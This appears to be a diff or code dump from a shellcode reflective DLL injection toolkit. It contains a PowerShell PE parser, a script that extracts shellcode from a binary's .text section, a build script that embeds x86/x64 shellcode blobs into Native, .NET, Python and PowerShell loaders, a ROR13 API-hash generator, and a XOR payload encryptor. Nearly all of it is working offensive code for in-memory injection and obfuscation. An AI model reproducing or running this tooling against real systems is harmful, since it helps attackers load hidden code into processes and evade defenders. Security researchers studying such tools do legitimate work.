$FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk)
if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr }
$OFTPtr = $FirstOFTPtr
$j = 0
while ($true)
{
$FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct)
$OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct)
$Result = @{ ModuleName = $DllName }
if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1')
{
# Trim high order bit in order to get the ordinal value
$TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2)
$TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4]
[Array]::Reverse($TempOrdinal)
$Ordinal = ''
$TempOrdinal | ForEach-Object { $Ordinal += $_ }
$Result['Ordinal'] = "0x$Ordinal"
$Result['FunctionName'] = ''
}
else
{
$ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2)
if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr)
$Result['Ordinal'] = ''
$Result['FunctionName'] = $FuncName
}
$Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))"
if ($FuncAddr.AddressOfData -eq 0) { break }
if ($OFTPtr -eq 0) { break }
$Import = New-Object PSObject -Property $Result
$Import.PSObject.TypeNames.Insert(0, 'Import')
$Import
$j++
}
$i++
}
}
function Convert-RVAToFileOffset([IntPtr] $Rva)
{
foreach ($Section in $SectionHeaders) {
if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) {
return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData))
}
}
# Pointer did not fall in the address ranges of the section headers
return $Rva
}
$PEFields = @{
Module = $ModuleName
DOSHeader = $DosHeader
PESignature = $NTHeader.Signature
FileHeader = $NTHeader.FileHeader
OptionalHeader = $NTHeader.OptionalHeader
SectionHeaders = $SectionHeaders
Imports = Get-Imports
Exports = Get-Exports
}
if ($Ondisk) {
$Handle.Free()
} else {
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
}
$PEHeader = New-Object PSObject -Property $PEFields
$PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader')
$ScriptBlock = {
$SymServerURL = 'http://msdl.microsoft.com/download/symbols'
$FileName = $this.Module.Split('\')[-1]
$Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage
$Request = "$($Request.Substring(0, $Request.Length - 1))_"
$WebClient = New-Object Net.WebClient
$WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5')
Write-Host "Downloading $FileName from the Microsoft symbol server..."
$CabBytes = $WebClient.DownloadData($Request)
$CabPath = "$PWD\$($FileName.Split('.')[0]).cab"
Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")."
[IO.File]::WriteAllBytes($CabPath, $CabBytes)
$Shell = New-Object -Comobject Shell.Application
$CabFile = $Shell.Namespace($CabPath).Items()
$Destination = $Shell.Namespace((Split-Path $CabPath))
$Destination.CopyHere($CabFile)
Remove-Item $CabPath -Force
}
$PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force
return $PEHeader
}
}
@@ -0,0 +1,34 @@
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$InputExe,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({ Test-Path $_ })]
[String]
$InputMapFile,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$OutputFile
)
# PowerShell v2
if(!$PSScriptRoot){
$PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
}
. "$PSScriptRoot\Get-PEHeader.ps1"
$PE = Get-PEHeader $InputExe -GetSectionData
$TextSection = $PE.SectionHeaders | Where-Object { $_.Name -eq '.text' }
$MapContents = Get-Content $InputMapFile
$TextSectionInfo = @($MapContents | Where-Object { $_ -match '\.text.+CODE' })[0]
$ShellcodeLength = [Int] "0x$(( $TextSectionInfo -split ' ' | Where-Object { $_ } )[1].TrimEnd('H'))" - 1
Write-Host "Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))"
[IO.File]::WriteAllBytes($OutputFile, $TextSection.RawData[0..$ShellcodeLength])
+112
View File
@@ -0,0 +1,112 @@
import argparse
import os
import sys
StartMarker = 'MARKER:S'
EndMarker = 'MARKER:E'
NativeTemplate = """
LPSTR rdiShellcode32 = "{}";
LPSTR rdiShellcode64 = "{}";
DWORD rdiShellcode32Length = {}, rdiShellcode64Length = {};
"""
DotNetTemplate = """
var rdiShellcode32 = new byte[] {{ {} }};
var rdiShellcode64 = new byte[] {{ {} }};
"""
PythonTemplate = """
rdiShellcode32 = b'{}'
rdiShellcode64 = b'{}'
"""
def main():
parser = argparse.ArgumentParser(description='sRDI Blob Encoder', conflict_handler='resolve')
parser.add_argument('solution_dir', help='Solution Directory')
arguments = parser.parse_args()
binFile32 = os.path.join(arguments.solution_dir, 'bin', 'ShellcodeRDI_x86.bin')
binFile64 = os.path.join(arguments.solution_dir, 'bin', 'ShellcodeRDI_x64.bin')
native_file = os.path.join(arguments.solution_dir, 'Native/Loader.cpp')
dotnet_file = os.path.join(arguments.solution_dir, 'DotNet/Program.cs')
python_file = os.path.join(arguments.solution_dir, 'Python/ShellcodeRDI.py')
posh_file = os.path.join(arguments.solution_dir, 'PowerShell/ConvertTo-Shellcode.ps1')
if not os.path.isfile(binFile32) or not os.path.isfile(binFile64):
print("[!] ShellcodeRDI_x86.bin and ShellcodeRDI_x64.bin files weren't in the bin directory")
return
binData32 = open(binFile32, 'rb').read()
binData64 = open(binFile64, 'rb').read()
# Patch the native loader
native_insert = NativeTemplate.format(
''.join('\\x{:02X}'.format(b) for b in binData32),
''.join('\\x{:02X}'.format(b) for b in binData64),
len(binData32), len(binData64)
)
code = open(native_file, 'r').read()
start = code.find(StartMarker) + len(StartMarker)
end = code.find(EndMarker) - 2 # for the //
code = code[:start] + native_insert + code[end:]
open(native_file, 'w').write(code)
print('[+] Updated {}'.format(native_file))
# Patch the DotNet loader
dotnet_insert = DotNetTemplate.format(
','.join('0x{:02X}'.format(b) for b in binData32),
','.join('0x{:02X}'.format(b) for b in binData64)
)
code = open(dotnet_file, 'r').read()
start = code.find(StartMarker) + len(StartMarker)
end = code.find(EndMarker) - 2 # for the //
code = code[:start] + dotnet_insert + code[end:]
open(dotnet_file, 'w').write(code)
print('[+] Updated {}'.format(dotnet_file))
# Patch the Python loader
python_insert = PythonTemplate.format(
''.join('\\x{:02X}'.format(b) for b in binData32),
''.join('\\x{:02X}'.format(b) for b in binData64)
)
code = open(python_file, 'r').read()
start = code.find(StartMarker) + len(StartMarker)
end = code.find(EndMarker) - 1 # for the #
code = code[:start] + python_insert + code[end:]
open(python_file, 'w').write(code)
print('[+] Updated {}'.format(python_file))
# Patch the PowerShell loader
posh_insert = DotNetTemplate.format(
','.join('0x{:02X}'.format(b) for b in binData32),
','.join('0x{:02X}'.format(b) for b in binData64)
)
code = open(posh_file, 'r').read()
start = code.find(StartMarker) + len(StartMarker)
end = code.find(EndMarker) - 2 # for the //
code = code[:start] + posh_insert + code[end:]
open(posh_file, 'w').write(code)
print('[+] Updated {}'.format(posh_file))
print("")
if __name__ == '__main__':
main()
+42
View File
@@ -0,0 +1,42 @@
import sys
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
if len(sys.argv) != 2 and len(sys.argv) != 3:
print("\nUsage:\nFunctionToHash.py [Module] [Function]\nFunctionToHash.py kernel32.dll CreateProcessA\n\nOR\n\nFunctionToHash.py [Function]\nFunctionToHash.py ExportedFunction")
exit()
if len(sys.argv) == 3:
module = sys.argv[1].upper().encode('UTF-16LE') + b'\x00\x00'
function = sys.argv[2].encode() + b'\x00'
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
moduleHash = 0
for b in module:
moduleHash = ror(moduleHash, 13, 32)
moduleHash += b
functionHash += moduleHash
if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
else:
function = sys.argv[1].encode() + b'\x00'
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
print(hex(functionHash))
+25
View File
@@ -0,0 +1,25 @@
import sys
def xor_encrypt(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def encrypt_file(input_file_path, output_file_path, key):
with open(input_file_path, 'rb') as file:
plaintext = file.read()
ciphertext = xor_encrypt(plaintext, key.encode('utf-8'))
with open(output_file_path, 'wb') as file:
file.write(ciphertext)
if len(sys.argv) != 4:
print("Usage: python encrypt.py <input file> <output file> <key string>")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2]
key_string = sys.argv[3]
# Encrypt the file
encrypt_file(input_file, output_file, key_string)
print(f"File '{input_file}' has been encrypted and saved to '{output_file}' using the key '{key_string}'.")